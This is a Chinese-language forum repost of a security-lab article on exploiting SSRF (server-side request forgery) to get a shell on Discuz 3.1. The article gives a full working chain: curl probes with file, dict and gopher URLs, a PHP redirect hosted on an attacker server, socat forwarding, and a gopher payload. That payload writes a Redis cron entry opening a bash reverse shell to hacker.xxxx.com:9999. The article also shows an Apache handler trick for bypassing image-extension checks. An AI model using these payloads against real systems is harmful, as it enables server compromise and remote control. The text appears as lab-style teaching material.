搜索

[26773] 2019-03-05_SSRF漏洞利用与getshell实战（精选）

文档创建者：s7ckTeam
浏览次数：45
最后更新：2025-01-19
2019-03-05_SSRF漏洞利用与getshell实战（精选） S S R F 漏 洞 利 用 与 g e t s h e l l 实 战 （ 精 选 ） 原 创   w h o a m i   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 3 - 0 5 什 么 是 什 么 是 S S R F ？ ？ S S R F （ S e r v e r - S i d e   R e q u e s t   F o r g e r y ， 服 务 器 端 请 求 伪 造 ） 是 一 种 由 攻 击 者 构 造 请 求 ， 利 用 服 务 器 端 发 起 的 安 全 漏 洞 。 一 般 情 况 下 ， S S R F 攻 击 的 目 标 是 外 网 无 法 访 问 的 内 部 系 统 （ 正 因 为 请 求 是 由 服 务 器 端 发 起 的 ， 所 以 服 务 器 能 请 求 到 与 自 身 相 连 而 外 网 隔 离 的 内 部 系 统 ） 。 E x a m p l e ： ： G E T   / i n d e x . p h p ? u r l = h t t p : / / g o o g l e . c o m /   H T T P / 1 . 1 H o s t :   e x a m p l e . c o m 在 这 里 ， h t t p : / / e x a m p l e . c o m 从 它 的 服 务 器 获 取 h t t p : / / g o o g l e . c o m 目 录 目 录 0 X 0 0   S S R F 的 类 型 0 X 0 1   什 么 地 方 最 容 易 出 现 S S R F 0 X 0 2   S S R F 漏 洞 的 危 害 0 X 0 3   S S R F 神 器 C u r l 的 使 用 0 X 0 4   最 常 用 的 跳 转 绕 过 0 X 0 5   P y t h o n + S S R F 实 现 端 口 扫 描 0 X 0 6   利 用 D i s c u z 的 S S R F 漏 洞 G e t S h e l l 0 X 0 7   简 单 的 绕 过 S S R F 图 片 的 限 制 0 X 0 8   可 能 遇 到 的 问 题 0 X 0 9   常 用 挖 掘 S S R F 漏 洞 的 工 具 0 X 0 0   S S R F 的 类 型 的 类 型 1 .   显 示 攻 击 者 的 响 应 （ B a s i c ） 2 .   不 显 示 响 应 （ B l i n d ） 0 X 0 1   什 么 地 方 最 容 易 出 现 什 么 地 方 最 容 易 出 现 S S R F 1 .   云 服 务 器 商 。 ( 各 种 网 站 数 据 库 操 作 ) 2 .   有 远 程 图 片 加 载 的 地 方 。 ( 编 辑 器 之 类 的 有 远 程 图 片 加 载 啊 ) 3 .   网 站 采 集 、 网 页 抓 取 的 地 方 。 ( 很 多 网 站 会 有 新 闻 采 集 输 入 u r l 然 后 一 键 采 集 ) 4 .   头 像 的 地 方 。 ( 某 易 就 喜 欢 远 程 加 载 头 像 ， 例 如 : h t t p : / / w w w . x x x x . c o m / i m a g e ? u r l = h t t p : / / w w w . i m a g e . c o m / 1 . j p g ) 5 .   最 后 一 个 一 切 要 你 输 入 网 址 的 地 方 和 可 以 输 入 i p 的 都 放 ， 都 是 s s r f 的 天 下 。 0 X 0 2   S S R F 漏 洞 的 危 害 漏 洞 的 危 害 1 .   对 服 务 器 所 在 的 内 网 进 行 端 口 扫 描 ， 获 取 一 些 服 务 的 b a n n e r 信 息 等 2 .   攻 击 运 行 在 内 网 或 者 本 地 的 应 用 程 序 3 .   对 内 网 W E B 应 用 进 行 指 纹 识 别 ， 通 过 访 问 默 认 文 件 实 现 （ R e a d m e 等 文 件 ） 4 .   攻 击 内 外 网 的 W E B 应 用 ， 主 要 是 G E T 就 可 以 实 现 的 攻 击 （ 比 如 S t r u t s 2 ， S Q L 注 入 等 ） 5 .   下 载 内 网 资 源 （ 利 用 f i l e 协 议 读 取 本 地 文 件 等 ） 6 .   利 用 R e d i s 未 授 权 访 问 ， H T T P   C R L F 注 入 达 到 g e t s h e l l 7 .   w o o y u n 峰 会 猪 猪 侠 的 p p t 8 .   进 行 跳 板 9 .   无 视 c d n
0 X 0 3   S S R F 神 器 神 器 C u r l 的 使 用 的 使 用 查 看 c u r l 支 持 的 协 议 列 表   # c u r l - - c o n f i g   – p r o t o c o l s 使 用 c u r l 读 取 文 件 c u r l   - v   f i l e : / / / e t c / p a s s w d 使 用 f t p 协 议 c u r l   - v   " f t p : / / 1 2 7 . 0 . 0 . 1 : 6 6 6 6 / i n f o " 使 用 d i c t 协 议 c u r l   - v   " d i c t : / / 1 2 7 . 0 . 0 . 1 : 6 6 6 6 / i n f o " 使 用 g o p h e r 协 议 c u r l   - v   " g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 6 6 6 6 / _ i n f o " 0 X 0 4 最 常 用 的 跳 转 绕 过 最 常 用 的 跳 转 绕 过 0 X 0 5   P y t h o n + S S R F 实 现 端 口 扫 描 实 现 端 口 扫 描 简 单 的 端 口 扫 描 同 时 观 察 W i r e s h a r k 整 个 扫 描 流 程 代 码 实 现 ： 验 证 本 地 是 否 开 启 了 相 应 的 端 口
P y t h o n 代 码 编 写 的 思 路 ： 端 口 存 在 连 接 会 一 直 在 连 接 ， 连 接 时 间 会 很 长 。 端 口 不 存 在 的 连 接 会 被 立 马 刷 新 0 X 0 6   利 用 利 用 D i s c u z 的 的 S S R F 漏 洞 漏 洞 G e t S h e l l D i s c u z 无 条 件 限 制 s s r f 漏 洞 （ < = 3 . 1 测 试 是 有 这 个 漏 洞 ） 实 验 环 境 ： 实 验 环 境 ： 1 7 2 . 2 8 . 1 0 0 . 1 0 9   为 D i s c u z   3 . 1 ( W i n 1 0 ) ， 1 7 2 . 2 8 . 1 0 0 . 1 0 8 为 R e d i s 服 务 器 （ C e n t O S ） ， h a c k e r . x x x x . c o m 为 公 网 测 试 服 务 器 主 要 存 放 s s r f 用 的 p h p 文 件 D i s c u z 3 . 1 下 载 地 址 ： 下 载 地 址 ： h t t p : / / w w w . c o m s e n z . c o m / d o w n l o a d s / i n s t a l l / d i s c u z x # d o w n _ o p e n 示 例 ： / f o r u m . p h p ? m o d = a j a x & a c t i o n = d o w n r e m o t e i m g & m e s s a g e = [ i m g ] h t t p : / / h a c k e r . x x x x . c o m / s s r f . p h p ? s = d i c t % 2 6 i p = 1 7 2 . 2 8 . 1 0 0 . 1 0 8 % 2 6 p o r t = 6 6 6 6 % 2 6 d a t a = h e l l o . j p g [ / i m g ] 实 际 使 用 p a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / D i s c u z _ X 3 . 1 / u p l o a d / f o r u m . p h p ? m o d = a j a x & a c t i o n = d o w n r e m o t e i m g & m e s s a g e = [ i m g ] h t t p : / / h a c k e r . x x x x . c o m / s s r f . p h p ? s = f t p % 2 6 i p = 1 7 2 . 2 8 . 1 0 0 . 1 0 8 % 2 6 p o r t = 6 6 6 6 % 2 6 d a t a = h e 2 l o . j p g [ / i m g ] 利 用 利 用 n c 来 测 试 来 测 试 S S R F 漏 洞 漏 洞 h t t p : / / 1 2 7 . 0 . 0 . 1 / D i s c u z _ X 3 . 1 / u p l o a d / f o r u m . p h p ? m o d = a j a x & a c t i o n = d o w n r e m o t e i m g & m e s s a g e = [ i m g ] h t t p : / / 1 7 2 . 2 8 . 1 0 0 . 1 0 8 : 6 6 6 6 / ? d a t a = r o o t . j p g [ / i m g ]
t c p d u m p 抓 包 看 到 D i s c u z 发 来 的 数 据 包 n c 也 有 反 应 了 基 本 可 以 确 认 这 里 是 有 S S R F 漏 洞 使 用 h e a d e r   来 配 合 s s r f 漏 洞 利 用 ， 在 我 公 网 服 务 器 放 了 一 个 s s r f . p h p < ? p h p h e a d e r ( " L o c a t i o n :   f t p : / / 1 7 2 . 2 8 . 1 0 0 . 1 0 8 : 6 6 6 6 / i n f o " ) ; ? > 这 里 我 是 通 过 传 参 的 方 式 ， 方 便 测 试 时 候 修 改 参 数 ， 代 码 如 下 ： P A Y L O A D ： ： h t t p : / / 1 2 7 . 0 . 0 . 1 / D i s c u z _ X 3 . 1 / u p l o a d / f o r u m . p h p ? m o d = a j a x & a c t i o n = d o w n r e m o t e i m g & m e s s a g e = [ i m g ] h t t p : / / h a c k e r . x x x x . c o m / s s r f . p h p ? s = f t p % 2 6 i p = 1 7 2 . 2 8 . 1 0 0 . 1 0 8 % 2 6 p o r t = 6 6 6 6 % 2 6 d a t a = h e 2 l o . j p g [ / i m g ] 同 样 n c 也 接 受 到 了 数 据 ， 测 试 时 候 发 现 f t p 协 议 比 h t t p 要 快 一 些 K A L I 机 器 打 开 s o c a t 端 口 转 发 （ - v 参 数 可 以 将 转 发 过 程 的 日 志 记 录 打 印 出 来 ） s o c a t   - v   t c p - l i s t e n : 6 6 6 6 , f o r k   t c p - c o n n e c t : 1 7 2 . 2 8 . 1 0 0 . 1 0 8 : 6 3 7 9 连 接 S S R F 脚 本     # 注 意 c e n t o s 和 u b u n t u 系 统 的 计 划 任 务 有 些 不 一 样 ， c e n t o s 默 认 在 / v a r / s p o o l / c r o n / r o o t ， u b u n t u 默 认 是 在 / e t c / c r o n t a b 执 行 成 功         # 第 四 步 能 执 行 成 功 的 前 提 必 须 目 标 目 录 有 写 权 限 到 r e d i s 服 务 器 的 上 查 看 / v a r / s p o o l / c r o n 目 录 下 已 经 创 建 了 r o o t 文 件 内 容 为 * / 1   *   *   *   *   b a s h   - i   > & / d e v / t c p / h a c k e r . x x x x . c o m / 9 9 9 9   0 > & 1
将 s o c a t 的 输 出 信 息 保 存 为 1 . t x t ， 上 传 到 公 网 服 务 器 上 使 用 P y t h o n 脚 本 转 换 为 g o p h e r 支 持 的 格 式 注 意 最 后 要 检 查 一 下 格 式 是 否 完 整 ： * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / h a c k e r . x x x . c o m / 9 9 9 9 0 > & 1 新 建 g o h p e r . p h p 文 件 放 到 我 自 己 的 云 服 务 器 的 网 站 根 目 录 上 ， 当 D i s c u z 访 问 g o h p e r . p h p 文 件 时 候 就 会 跳 转 3 0 2 跳 转 使 用 g o h p e r 协 议 访 问 内 部 r e d i s 服 务 器 标 准 格 式 示 例 ： < ? p h p h e a d e r ( " L o c a t i o n :   g o p h e r : / / 1 7 2 . 2 8 . 1 0 0 . 1 0 8 : 6 3 7 9 / _ * 3 % 0 d % 0 a $ 3 % 0 d % 0 a s e t % 0 d % 0 a $ 1 % 0 d % 0 a 1 % 0 d % 0 a $ 6 2 % 0 d % 0 a % 0 a % 0 a % 0 a * / 1   *   *   *   *   b a s h   - i   > & / d e v / t c p / h a c k e r . x x x x . c o m / 9 9 9 9   0 > & 1 % 0 a % 0 a % 0 a % 0 a % 0 d % 0 a * 4 % 0 d % 0 a $ 6 % 0 d % 0 a c o n f i g % 0 d % 0 a $ 3 % 0 d % 0 a s e t % 0 d % 0 a $ 3 % 0 d % 0 a d i r % 0 d % 0 a $ 1 6 % 0 d % 0 a / v a r / s p o o l / c r o n / % 0 d % 0 a * 4 % 0 d % 0 a $ 6 % 0 d % 0 a c o n f i g % 0 d % 0 a $ 3 % 0 d % 0 a s e t % 0 d % 0 a $ 1 0 % 0 d % 0 a d b f i l e n a m e % 0 d % 0 a $ 4 % 0 d % 0 a r o o t % 0 d % 0 a * 1 % 0 d % 0 a $ 4 % 0 d % 0 a s a v e % 0 d % 0 a * 1 % 0 d % 0 a $ 4 % 0 d % 0 a q u i t % 0 d % 0 a % 0 a " ) ; ? > 目 标 机 器 S S R F 漏 洞 的 利 用
过 程 中 使 用 W i r e s h a r k 抓 包 观 察 过 程 目 标 r e d i s 服 务 器 上 发 现 计 划 任 务 已 经 生 效 了 ， 如 果 这 里 有 乱 码 ， 请 翻 倒 文 章 底 部 有 解 决 方 案 目 标 R e d i s 的 s h e l l 已 经 发 给 我 的 服 务 器 了 0 X 0 7   简 单 的 绕 过 简 单 的 绕 过 S S R F 图 片 的 限 制 图 片 的 限 制 A p a c h e 配 置 / e t c / a p a c h e 2 / s i t e s - e n a b l e d / ， ， 新 建 一 个 a p a c h e 的 配 置 文 件 1 2 3 . c o n f A d d H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p   . p h p 这 样 a p a c h e 就 会 把 j p g 也 当 作 p h p 解 析 ； 如 果 我 们 遇 到 限 制 了 j p g 后 缀 的 s s r f 漏 洞 就 可 以 利 用 该 方 法 ， 同 理 如 果 限 制 了 t x t 的 话 。 我 们 在 a p a c h e 设 置 把 t x t 当 作 p h p 解 析 即 可 。
将 文 件 名 命 名 为 1 . p h p . j p g 即 可 访 问 也 可 以 这 样 写 A d d H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p   . j p g 0 X 0 8   可 能 遇 到 的 问 题 可 能 遇 到 的 问 题 以 下 问 题 是 因 为 我 用 的 l i n u x 上 v i m 编 辑 器 导 致 的 ， 后 使 用 S u b l i m e 编 辑 器 解 决 了 乱 码 问 题 0 X 0 9   常 用 挖 掘 常 用 挖 掘 S S R F 漏 洞 的 工 具 漏 洞 的 工 具 利 用 F 1 2 ， 查 看 网 站 的 网 络 请 求 利 用 G o o g l e H a c k i n g , 如 s i t e : w w w . b a i d u . c o m ， 然 后 查 找 网 站 是 否 有 关 于 u r l 的 远 程 调 用 作 者 ： W H I T E 来 源 ： M s 0 8 0 6 7 安 全 实 验 室
☺ 喜 欢 请 在 下 方 点 赞 吧 ！ 喜 欢 请 在 下 方 点 赞 吧 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理